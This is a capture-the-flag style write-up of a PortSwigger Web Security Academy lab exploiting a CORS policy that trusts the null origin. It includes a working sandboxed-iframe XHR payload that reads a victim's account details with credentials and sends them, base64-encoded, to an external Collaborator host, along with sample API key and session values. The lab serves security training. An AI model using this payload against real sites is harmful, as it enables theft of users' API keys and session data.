| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | CORS Misconfiguration — Trusted null Origin |
| Difficulty | Apprentice |
| Objective | Exfiltrate the administrator's API key by abusing the trusted null origin |
CORS Vulnerability with Trusted Null Origin — Writeup¶
Initial Observation¶
Logged in as wiener:peter. Same pattern as before — the API key is fetched asynchronously from /accountDetails:
fetch('/accountDetails', {credentials:'include'})
.then(r => r.json())
.then(j => document.getElementById('apikey').innerText = j.apikey)
Intercepting the /accountDetails request in Burp:
{
"username": "wiener",
"email": "",
"apikey": "7i0OFjq03FOlfAiJ3Ab81GBQOhvgaWVh",
"sessions": [
"8yTKqYXUfcB8XL7z6jsOYtGDMPMF0i8A"
]
}
Web — Testing the CORS Policy¶
Adding Origin: teto.com to the request — no Access-Control-Allow-Origin in the response. The server isn't reflecting arbitrary origins this time.
Trying Origin: null:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
The server explicitly trusts null. The endpoint has sensitive data and credentials are allowed — we just need to generate a request that the browser sends with Origin: null.
Attack Path¶
Why a Plain Script Won't Work¶
The usual XHR from our exploit server won't work here — requests from exploit-server.net would send Origin: https://exploit-server.net, which the server doesn't trust. We need a way to make the browser send Origin: null instead.
Browsers send null as the origin for sandboxed iframes that have no origin of their own. An iframe with sandbox="allow-scripts" and an inline srcdoc document has no real origin — so the browser sets Origin: null on any requests it makes. That's exactly what we need.
Testing srcdoc on the exploit server first to confirm we can inject content:
<iframe sandbox="allow-scripts" srcdoc="<h1>Teto</h1>">
The h1 renders inside the iframe. srcdoc lets us define the iframe's content inline as a string — no external URL needed. Now putting the XHR script inside it. The quotes inside srcdoc have to be single quotes to avoid breaking the outer HTML attribute:
<iframe sandbox="allow-scripts" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = function(){
new Image().src = 'https://iug2hhnrbrxb2azu9gtov0uei5oxco0d.oastify.com/?tetoKey=' + btoa(req.responseText);
};
req.open('GET', 'https://0a0c0012039312798011038700e7002d.web-security-academy.net/accountDetails', true);
req.withCredentials = true;
req.send();
</script>"></iframe>
The sandbox strips the iframe's origin → browser sends Origin: null → server trusts it → response comes back with the API key → onload fires → Image().src exfiltrates it base64-encoded to Collaborator.
Delivering the exploit to the victim:
Collaborator receives the request with the administrator's API key:
Submitting the answer:
Lab solved <>..<>